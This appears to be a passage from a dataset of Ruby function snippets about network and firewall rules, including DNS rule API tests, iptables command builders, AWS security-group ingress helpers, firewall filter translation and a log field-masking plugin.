['1.1.1.1']\n\n hash = {:pattern => pattern, :resource => resource, :response => dns_response}\n\n # Test that an empty \"pattern\" key returns 400\n assert_raise RestClient::BadRequest do\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n hash.to_json,\n @@headers)\n end\n\n hash['pattern'] = 'foo.bar.baz'\n hash['resource'] = ''\n\n # Test that an empty \"resource\" key returns 400\n assert_raise RestClient::BadRequest do\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n hash.to_json,\n @@headers)\n end\n\n hash['resource'] = 'A'\n hash['response'] = []\n\n # Test that an empty \"response\" key returns 400\n assert_raise RestClient::BadRequest do\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n hash.to_json,\n @@headers)\n end\n\n hash['response'] = 42\n\n # Test that a non-array \"response\" key returns 400\n assert_raise RestClient::BadRequest do\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n hash.to_json,\n @@headers)\n end\n end", "def to_rule\n if trace.captures.empty?\n super\n else\n [super, trace.to_rule(name)].reduce(operation)\n end\n end", "def parse_http_rule rule_yaml\n rule = Google::Api::HttpRule.new\n rule.selector = rule_yaml[HTTP_RULES_SELECTOR_KEY] if rule_yaml.key? HTTP_RULES_SELECTOR_KEY\n verb_path = HTTP_RULES_VERBS_ALLOWED.find { |verb| rule_yaml[verb] }\n rule.send \"#{verb_path}=\", rule_yaml[verb_path] if verb_path\n rule.body = rule_yaml[HTTP_RULES_BODY_KEY] if rule_yaml.key? HTTP_RULES_BODY_KEY\n\n if rule_yaml.key? HTTP_RULES_ADDITIONAL_BINDINGS_KEY\n rule.additional_bindings = rule_yaml[HTTP_RULES_ADDITIONAL_BINDINGS_KEY].map do |binding_yaml|\n parse_http_rule binding_yaml\n end\n end\n\n rule\n end", "def test_1_add_rule_good\n pattern = 'foo.bar'\n resource = 'A'\n dns_response = ['1.2.3.4']\n\n json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json\n\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n json,\n @@headers)\n\n check_rest_response(rest_response)\n\n result = JSON.parse(rest_response.body)\n first_id = result['id']\n\n rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n json,\n @@headers)\n\n # Verify that adding an existing rule returns its id\n check_rest_response(rest_response)\n\n result = JSON.parse(rest_response.body)\n second_id = result['id']\n\n assert_equal(first_id, second_id)\n end", "def delete_ingress(namespace, ingress_name)\n if namespace_exists?(namespace) && object_exists?(namespace, \"ingress\", ingress_name)\n execute(\"kubectl delete ingress #{ingress_name} -n #{namespace}\")\n end\nend", "def edge_security rule:\n # Only link access rules related to `podsecuritypolicies` resource, scoped to specific psp \n if rule[:resource] == 'podsecuritypolicies' && !rule[:resource_name].nil?\n rule_label = make_label rule.values\n psp_label = make_label 'psp', rule[:resource_name] # prepare label for PSP based on resource_name\n\n add_relation rule_label, :SECURITY, psp_label\n end\n end", "def rules\n @rules=get_endpoint('rule').keys\n end", "def property_to_rest_mapping\n {\n :name => :aclname,\n :interface => :Interface,\n }\n end", "def on_simple_inbound(header, mustunderstand)\n end", "def aws_security_group_enable_inbound(opts)\n opts[:security_group].authorize_ingress(:tcp, 20..8080)\n end", "def canonicalize(_context, resources)\n resources.each do |r|\n if r[:reservedipranges]\n if r[:reservedipranges] == 'unset'\n r[:reservedipranges] = []\n else\n r[:reservedipranges].sort_by! { |k| k['start'] }.sort_by! { |k| k['end'] }\n end\n end\n r[:fixedipassignments] = {} if r[:fixedipassignments] && r[:fixedipassignments] == 'unset'\n end\n end", "def ingress(time_increment)\n @ingress_data[time_increment] * @ingress_multiplier\n end", "def __apply__(rule) = public_send(rule)", "def accept_rule rule\n use_prefix or @res << ' ' * @indent\n @res << '-' * (@width - @indent)\n @res << \"\\n\"\n end", "def rule(cmd, a, &block)\n # Evaluate a block expression and return early if it evaluates to false.\n # If no block is passed it is equivalent to the block: { true }.\n return self if block_given? && !instance_eval(&block)\n\n raise ArgumentError, 'chain is a required argument' unless a[:chain]\n assert_valid_ipaddr(a[:src]) if a[:src]\n assert_valid_ipaddr(a[:dst]) if a[:dst]\n\n # Map of commands for rules\n cmds = {\n add: '-A', delete: '-D', insert: '-I', replace: '-R',\n check: '-C'\n }\n\n a[:proto] ||= 'tcp'\n table = build_option('-t', @table)\n jump = build_option('-j', a[:jump])\n goto = build_option('-g', a[:goto])\n proto = build_option('-p', a[:proto])\n inface = build_option('-i', a[:in])\n outface = build_option('-o', a[:out])\n src = build_option('-s', a[:src])\n dst = build_option('-d', a[:dst])\n match = build_option('-m', a[:match] || @match)\n ports = build_option('--dport', @ports)\n to_port = build_option('--to-port', a[:to_port])\n @buffer << [\n 'iptables', table, cmds[cmd], a[:chain], src, dst, outface,\n inface, proto, match, ports, jump || goto, to_port\n ].compact.join(' ') << \"\\n\"\n self\n end", "def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n link = generate_request(\"AuthorizeSecurityGroupIngress\", \n 'GroupName' => name.to_s, \n 'IpProtocol' => protocol.to_s, \n 'FromPort' => from_port.to_s, \n 'ToPort' => to_port.to_s, \n 'CidrIp' => cidr_ip.to_s)\n request_info(link, RightBoolResponseParser.new(:logger => @logger))\n rescue Exception\n on_exception\n end", "def access_rule(name)\n if name.is_a?(Hash)\n authenticator name.first[0]\n access_rule name.first[1]\n else\n @controller.access_rule = name\n end\n end", "def field_mapping_for_cloud_exposures\n {\n 'application-server-software' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"application_server_software_#{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Exposed App Server Software: #{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"application_server_software_#{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\".to_string_identifier }\n }\n ]\n },\n 'bacnet-servers' => {}, \n '-certificate-advertisements' => {}, \n 'development-environments' => {},\n 'dns-servers' => {}, \n '-domain-control-validated-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"comain_control_validated_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Domain Control Validated Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"comain_control_validated_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'ethernet-ip-servers' => {}, \n 'expired-when-scanned-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"expired_when_scanned_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Expired Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"expired_when_scanned_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'ftp-servers' => {}, \n 'ftps-servers' => {}, \n '-healthy-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"healthy_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Healthy Certificate Advertisement: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"healthy_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'insecure-signature-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"insecure_signature_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Insecure Signature Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"insecure_signature_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'internal-ip-address-advertisements'=> {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"internal_ip_address_advertisements_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Detected Internal IP advertisement with configuration: #{JSON.pretty_generate(x[\"firstObservation\"][\"configuration\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"internal_ip_address_advertisements_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n }\n ]\n },\n 'load-balancers' => {},\n 'long-expiration-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"long_expiration_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Long Expiration Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"long_expiration_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'memcached-servers' => {}, \n 'modbus-servers' => {}, \n 'ms-sql-servers' => {}, \n 'my-sql-servers' => {}, \n 'net-bios-name-servers' => {},\n 'pop3-servers' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"detected_server_pop3_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Detected Pop3 Server with configuration: #{JSON.pretty_generate(x[\"firstObservation\"][\"configuration\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"detected_server_pop3_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n }\n ]\n }, \n 'rdp-servers' => {},\n 'self-signed-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"self_signed_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Self Signed Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"self_signed_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'server-software' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"server_software_#{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Exposed Server Software: #{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"server_software_#{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\".to_string_identifier }\n }\n ]\n },\n 'short-key-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"shert_key_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Short Key Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"shert_key_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'sip-servers' => {},\n 'smb-servers' => {},\n 'smtp-servers' => {},\n 'snmp-servers' => {},\n 'ssh-servers' => {},\n 'telnet-servers' => {},\n 'upnp-servers' => {},\n 'unencrypted-logins' => {},\n 'unencrypted-ftp-servers' => {},\n 'web-servers' => {},\n 'wildcard-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"wildcard_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Wildcard Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"wildcard_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'vnc-servers' => {},\n 'vx-works-servers' => {}\n }\n end", "def process_elasticsearch(target)\n {\n :schema => 'iglu:com.snowplowanalytics.snowplow.storage/elastic_config/jsonschema/1-0-0',\n :data => {\n :name => target['name'],\n :host => target['host'],\n :index => target['database'],\n :port => target['port'],\n :type => target['table'],\n :nodesWanOnly => target['es_nodes_wan_only'],\n :purpose => 'FAILED_EVENTS'\n }\n }\nend", "def to_rules\n Array.new.tap do |rules|\n new_rule = Rule.new(rule.chain)\n new_rule.description = \"#{rule.description} (#{self.description})\"\n new_rule.rule = rule.rule.gsub(/\\{\\{(\\w+)\\}\\}/) do\n if value = self.options[$1.to_sym]\n value\n else\n \"{{#{$1}}}\"\n end\n end\n new_rule.action = rule.action\n new_rule.conditions = rule.conditions | self.conditions\n if self.version\n new_rule.versions = [self.version]\n end\n\n if has_host_group?\n host_group = @rule.chain.table.base.host_groups[self.options[:ip]]\n host_group.hosts.each do |key, host|\n host.ips.each do |v, ip|\n hg_rule = new_rule.dup\n hg_rule.description += \" (#{host.name} via #{host_group.name})\"\n hg_rule.rule.gsub!(host_group.name.to_s, ip)\n hg_rule.versions = [v]\n rules << hg_rule\n end\n end\n else\n rules << new_rule\n end\n end\n end", "def addRule(hosts,\n proto: \"tcp\",\n port: nil,\n egress: false,\n port_range: \"0-65535\"\n )\n rule = Hash.new\n rule[\"proto\"] = proto\n if hosts.is_a?(String)\n rule[\"hosts\"] = [hosts]\n else\n rule[\"hosts\"] = hosts\n end\n if port != nil\n port = port.to_s if !port.is_a?(String)\n rule[\"port\"] = port\n else\n rule[\"port_range\"] = port_range\n end\n ec2_rule = convertToEc2([rule])\n\n begin\n if egress\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_egress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n else\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_ingress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n end\n rescue Aws::EC2::Errors::InvalidPermissionDuplicate => e\n MU.log \"Attempt to add duplicate rule to #{@cloud_id}\", MU::DEBUG, details: ec2_rule\n end\n end", "def configure(conf)\n super\n fieldsToMaskFilePath = conf['fieldsToMaskFilePath']\n fieldsToExcludeJSONPaths = conf['fieldsToExcludeJSONPaths']\n handleSpecialCases = conf['handleSpecialEscapedJsonCases']\n\n if fieldsToExcludeJSONPaths != nil && fieldsToExcludeJSONPaths.size() > 0 \n fieldsToExcludeJSONPaths.split(\",\").each do | field |\n # To save splits we'll save the path as an array\n splitArray = field.split(\".\")\n symArray = []\n splitArray.each do | pathPortion |\n symArray.push(pathPortion.to_sym)\n end\n @fieldsToExcludeJSONPathsArray.push(symArray)\n end\n end\n\n File.open(fieldsToMaskFilePath, \"r\") do |f|\n f.each_line do |line|\n value = line.to_s # make sure it's string\n value = value.gsub(/\\s+/, \"\") # remove spaces\n value = value.gsub('\\n', '') # remove line breakers\n\n if value.end_with? \"/i\"\n # case insensitive\n value = value.delete_suffix('/i')\n hashObjectRegex = Regexp.new(/(?::#{value}=>\")(.*?)(?:\")/mi) # mask element in hash object\n innerJSONStringRegex = Regexp.new(/(\\\\+)\"#{value}\\\\+\":\\\\+.+?((?=(})|,( *|)(\\s|\\\\+)\\\")|(?=}\"$))/mi) # mask element in json string using capture groups that count the level of escaping inside the json string\n else\n # case sensitive\n hashObjectRegex = Regexp.new(/(?::#{value}=>\")(.*?)(?:\")/m) # mask element in hash object\n innerJSONStringRegex = Regexp.new(/(\\\\+)\"#{value}\\\\+\":\\\\+.+?((?=(})|,( *|)(\\s|\\\\+)\\\")|(?=}\"$))/m) # mask element in json string using capture groups that count the level of escaping inside the json string\n end\n\n @fields_to_mask.push(value)\n\n hashObjectRegexStringReplacement = \":#{value}=>\\\"#{MASK_STRING}\\\"\"\n @fields_to_mask_regex[hashObjectRegex] = hashObjectRegexStringReplacement\n @fields_to_mask_keys[hashObjectRegex] = value\n\n innerJSONStringRegexStringReplacement = \"\\\\1\\\"#{value}\\\\1\\\":\\\\1\\\"#{MASK_STRING}\\\\1\\\"\"\n @fields_to_mask_regex[innerJSONStringRegex] = innerJSONStringRegexStringReplacement\n @fields_to_mask_keys[innerJSONStringRegex] = value\n end\n end\n\n # if true, each record (a json record), will be checked for a special escaped json cases\n # any found case will be 'gsub' with the right solution \n @handleSpecialEscapedJsonCases = handleSpecialCases != nil && handleSpecialCases.casecmp(\"true\") == 0\n\n puts \"black list fields:\"\n puts @fields_to_mask\n end", "def rule; end", "def rule; end", "def rule; end", "def get_rule_detail(h_filters, filtertype, filter, term)\n\n # Check filtertype and assign correct global hash ($h_filters or $h_filters6) to filters\n case filtertype\n when :ipv4_input_filter\n filters = $h_filters\n when :ipv4_output_filter\n filters = $h_filters\n when :ipv6_input_filter\n filters = $h_filters6\n when :ipv6_output_filter\n filters = $h_filters6\n else\n p \"get_rule_detail: filtertype not supported - #{filtertype}\" if $opts[:debug]\n end\n\n # Initialize vars, sets, etc\n result = '' ### To pass status back to calling method\n srcaddr = Set.new\n dstaddr = Set.new\n sport = Set.new\n dport = Set.new\n protocol = Set.new\n dscp = Set.new\n svcnegate = 'false' ### if type icmp-except need to negate the rule\n\n # Update corresponding hash based on object type from term's sources hash branch\n filters[filter][term][:source].each do |object, objtype|\n\n case objtype\n when :'source-address'\n srcaddr.add(object)\n\n when :'destination-address'\n dstaddr.add(object)\n\n when :address\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :'source-port'\n sport.add(object)\n\n when :'destination-port'\n dport.add(object)\n\n when :port\n dport.add(object)\n\n when :'source-prefix-list'\n srcaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # srcaddr.add(addr)\n # end\n\n when :'destination-prefix-list'\n dstaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # dstaddr.add(addr)\n # end\n\n when :'prefix-list'\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :protocol\n protocol.add(object)\n\n when :'next-header'\n protocol.add(object)\n\n when :'icmp-type'\n protocol.add(:icmp)\n dport.add(object)\n\n when :'icmp-type-except'\n protocol.add(:icmp)\n dport.add(object)\n svcnegate = 'true'\n\n when :dscp\n dscp.add(object)\n\n else\n result += \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\n p \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\\\n if $opts[:verbose] || $opts[:debug]\n end\n end\n\n action = h_filters[filter][term][:action]\n\n return srcaddr, dstaddr, sport, dport, protocol, action, svcnegate, result, dscp\nend", "def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n link = generate_request(\"AuthorizeSecurityGroupIngress\", \n 'GroupName' => name.to_s,\n 'IpProtocol' => protocol.to_s,\n 'FromPort' => from_port.to_s,\n 'ToPort' => to_port.to_s,\n 'CidrIp' => cidr_ip.to_s)\n request_info(link, RightBoolResponseParser.new(:logger => @logger))\n rescue Exception\n on_exception\n end", "def inbound_rules\n @inbound_rules ||= normalized_security_rules.one_direction_rules(\"inbound\")\n end", "def transform_rules(rules)\n rules.map do |rule|\n case rule\n when Array\n transform_rules(rule)\n when String\n opts[:hostname_map][rule]\n end\n end\n end", "def _to_payload\n { 'dir' => -1,\n 'results' => -1,\n 'sort' => 'assetIP',\n 'startIndex' => -1,\n 'table-id' => 'assetfilter',\n 'searchCriteria' => to_json }\n end", "def rule_exists?\n # To Action From\n # -- ------ ----\n # 22 ALLOW Anywhere\n # 192.168.0.1 25/tcp DENY 10.0.0.0/8\n shell_out!(\"ufw status\").stdout =~ \n/^(#{@new_resource.destination}\\s)?#{port_and_proto}\\s.*(#{@new_resource.action.to_s})\\s.*#{@new_resource.source || 'Anywhere'}$/i\n end", "def rule2hash(rule)\n if rule.protocol.include?('icmp') && (rule.local_ports.first != 'any' || rule.remote_ports.first != 'any')\n raise \"Rule #{rule.name} includes ICMP and specifies ports\"\n end\n return copy_rule_properties(rule)\n end", "def convertToEc2(rules)\n ec2_rules = []\n if rules != nil\n rules.each { |rule|\n ec2_rule = Hash.new\n rule['proto'] = \"tcp\" if rule['proto'].nil? or rule['proto'].empty?\n ec2_rule[:ip_protocol] = rule['proto']\n\n p_start = nil\n p_end = nil\n if rule['port_range']\n p_start, p_end = rule['port_range'].split(/\\s*-\\s*/)\n elsif rule['port']\n p_start = rule['port']\n p_end = rule['port']\n elsif rule['proto'] != \"icmp\"\n raise MuError, \"Can't create a TCP or UDP security group rule without specifying ports: #{rule}\"\n end\n if rule['proto'] != \"icmp\"\n if p_start.nil? or p_end.nil?\n raise MuError, \"Got nil ports out of rule #{rule}\"\n end\n ec2_rule[:from_port] = p_start.to_i\n ec2_rule[:to_port] = p_end.to_i\n else\n ec2_rule[:from_port] = -1\n ec2_rule[:to_port] = -1\n end\n\n if (!defined? rule['hosts'] or !rule['hosts'].is_a?(Array)) and\n (!defined? rule['sgs'] or !rule['sgs'].is_a?(Array)) and\n (!defined? rule['lbs'] or !rule['lbs'].is_a?(Array))\n raise MuError, \"One of 'hosts', 'sgs', or 'lbs' in rules provided to createEc2SG must be an array.\"\n end\n ec2_rule[:ip_ranges] = []\n ec2_rule[:user_id_group_pairs] = []\n\n if !rule['hosts'].nil?\n rule['hosts'].each { |cidr|\n next if cidr.nil? # XXX where is that coming from?\n cidr = cidr + \"/32\" if cidr.match(/^\\d+\\.\\d+\\.\\d+\\.\\d+$/)\n ec2_rule[:ip_ranges] << {cidr_ip: cidr}\n }\n end\n\n if !rule['lbs'].nil?\n# XXX This is a dopey place for this, dependencies() should be doing our legwork\n rule['lbs'].each { |lb_name|\n if @dependencies.has_key?(\"loadbalancer\") and @dependencies[\"loadbalancer\"].has_key?(lb_name)\n# MU::Cloud::CloudFormation.setCloudFormationProp(@cfm_template[@cfm_name], \"DependsOn\", @dependencies[\"loadbalancer\"][lb_name].cloudobj.cfm_name)\n end\n }\n end\n\n if !rule['sgs'].nil?\n rule['sgs'].each { |sg_name|\n# XXX This is a dopey place for this, dependencies() should be doing our legwork\n if @dependencies.has_key?(\"firewall_rule\") and @dependencies[\"firewall_rule\"].has_key?(sg_name)\n# MU::Cloud::CloudFormation.setCloudFormationProp(@cfm_template[@cfm_name], \"DependsOn\", @dependencies[\"firewall_rule\"][sg_name].cloudobj.cfm_name)\n end\n }\n end\n\n if !ec2_rule[:user_id_group_pairs].nil? and\n ec2_rule[:user_id_group_pairs].size > 0 and\n !ec2_rule[:ip_ranges].nil? and\n ec2_rule[:ip_ranges].size > 0\n MU.log \"Cannot specify ip_ranges and user_id_group_pairs\", MU::ERR\n raise MuError, \"Cannot specify ip_ranges and user_id_group_pairs\"\n end\n\n ec2_rule.delete(:ip_ranges) if ec2_rule[:ip_ranges].size == 0\n ec2_rule.delete(:user_id_group_pairs) if ec2_rule[:user_id_group_pairs].size == 0\n\n if !ec2_rule[:user_id_group_pairs].nil? and\n ec2_rule[:user_id_group_pairs].size > 0\n ec2_rule.delete(:ip_ranges)\n elsif !ec2_rule[:ip_ranges].nil? and\n ec2_rule[:ip_ranges].size > 0\n ec2_rule.delete(:user_id_group_pairs)\n end\n ec2_rules << ec2_rule\n }\n end\n return ec2_rules\n end", "def inspect_rule(rule) = PrettyPrint.print_method(self, rule)", "def _nil_sub_property_name_rule_name(resource_type, password_property)\n [\n resource_type.sub('AWS', '').gsub('::', ''),\n password_property,\n 'Rule'\n ].join\nend", "def consume_qualified_rule(input = T.unsafe(nil)); end", "def ingress_permissions\n @sg.ip_permissions\n end", "def ingress_permissions\n @sg.ip_permissions\n end", "def conditional_requests=(_arg0); end", "def consume_at_rule(input = T.unsafe(nil)); end", "def ip_address_distribution(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"IP Address Distribution\" page.\n begin\n @ff.link(:text, 'IP Address Distribution').click\n self.msg(rule_name, :info, 'IP Address Distribution', 'Reached page \\'IP Address Distribution\\'.')\n rescue\n self.msg(rule_name, :error, 'IP Address Distribution', 'Did not reach \\'IP Address Distribution\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') )then\n # Right,go on.\n else\n self.msg(rule_name,:error,'ip_address_distribution','Some key NOT found.')\n return\n end\n \n # Begin parsing the json file.\n \n # Output the table.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n if ( t.text.include? 'Name' and \n t.text.include? 'Service' and\n ( not t.text.include? 'IP Address Distribution') and\n ( not t.text.include? 'Close') and\n t.row_count >= 2 )then\n sTable = t\n break\n end\n end\n \n if sTable == false\n # Wrong here\n self.msg(rule_name,:error,'ip_address_distribution','Did NOT find the target table.')\n return\n end\n \n iFlag = 0\n strEntry = \"\"\n \n # Find the row\n sTable.each do |row|\n \n iFlag = iFlag + 1\n \n # not for first line\n if iFlag == 1\n next\n end\n strEntry = \"IP\" + (iFlag - 1).to_s\n \n # Output in to the result.\n self.msg(rule_name,strEntry,'Name',row[1])\n self.msg(rule_name,strEntry,'Service',row[2])\n self.msg(rule_name,strEntry,'Subnet Mask',row[3])\n self.msg(rule_name,strEntry,'Dynamic IP Range',row[4])\n \n end \n\n if info.has_key?('Name')\n case info['Name']\n when 'Network (Home/Office)'\n DoNetworkHomeOfficePage(rule_name, info)\n when 'Broadband Connection (Ethernet)'\n DoBroadbandConnectionEthernetPage(rule_name, info)\n when 'Broadband Connection (Coax)'\n DoBroadbandConnectionCoaxPage(rule_name, info)\n when 'Connection List'\n DoConnectionList(rule_name, info)\n when 'Access Control'\n DoAccessControl(rule_name, info)\n else\n self.msg(rule_name, :error, '', 'No Name undefined')\n end \n else\n self.msg(rule_name, :error, '', 'No layout key found')\n end\n \n # Close the window\n if @ff.text.include?'Close'\n @ff.link(:text,'Close').click\n end\n \n # Output the result\n self.msg(rule_name,:Result_Info,'ip_address_distribution','SUCCESS') \n \n end", "def awk\n %{awk -F\"[: ]+\" '/inet /}\n end", "def on_inbound(header, mustunderstand = false)\n # do something.\n end", "def updateAnsweringRuleOnRoutingExt(client, accountId, extensionId, answeringRuleId, forwardingNumberId)\n body = {\n 'enabled' => true,\n 'forwarding' => {\n 'notifyMySoftPhones' => true,\n 'softPhonesRingCount' => 5,\n 'ringingMode' => 'Sequentially',\n 'rules': [{\n 'index': 1,\n 'ringCount': 3,\n 'forwardingNumbers' => [{\n 'id' => forwardingNumberId\n }],\n }]\n }\n }\n client.http.put do |req|\n req.url \"account/#{accountId}/extension/#{extensionId}/answering-rule/#{answeringRuleId}\"\n req.headers['Content-Type'] = 'application/json'\n req.body = body\n end\nend", "def getJSON\n rulesPayload = Hash.new\n rulesPayload[:rules] = @rules\n rulesPayload.to_json\n end", "def patch_rule request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::PatchRuleSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/patchRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end", "def config_fwrules(filtertype, srcaddr, dstaddr, sport, dport, protocol, action, svc_negate, interface,\n int, sub, filter, term, dscp)\n\n\n # Initialize\n newaddobj = false\n\n # Currently an \"input filter\" (v4 or v6) is being translated to a FG interface policy\n # interface policies can only specifically allow traffic (aka no action can be specified)\n if filtertype == :ipv4_input_filter || filtertype == :ipv6_input_filter\n unless action == :accept\n p \"config_fwrules: action type must be accept for interface policy\" if $opts[:verbose]\n return ''\n end\n end\n\n # if action not specified then assume it is accept. *update* This should be verified.\n action = :accept if action == ''\n\n 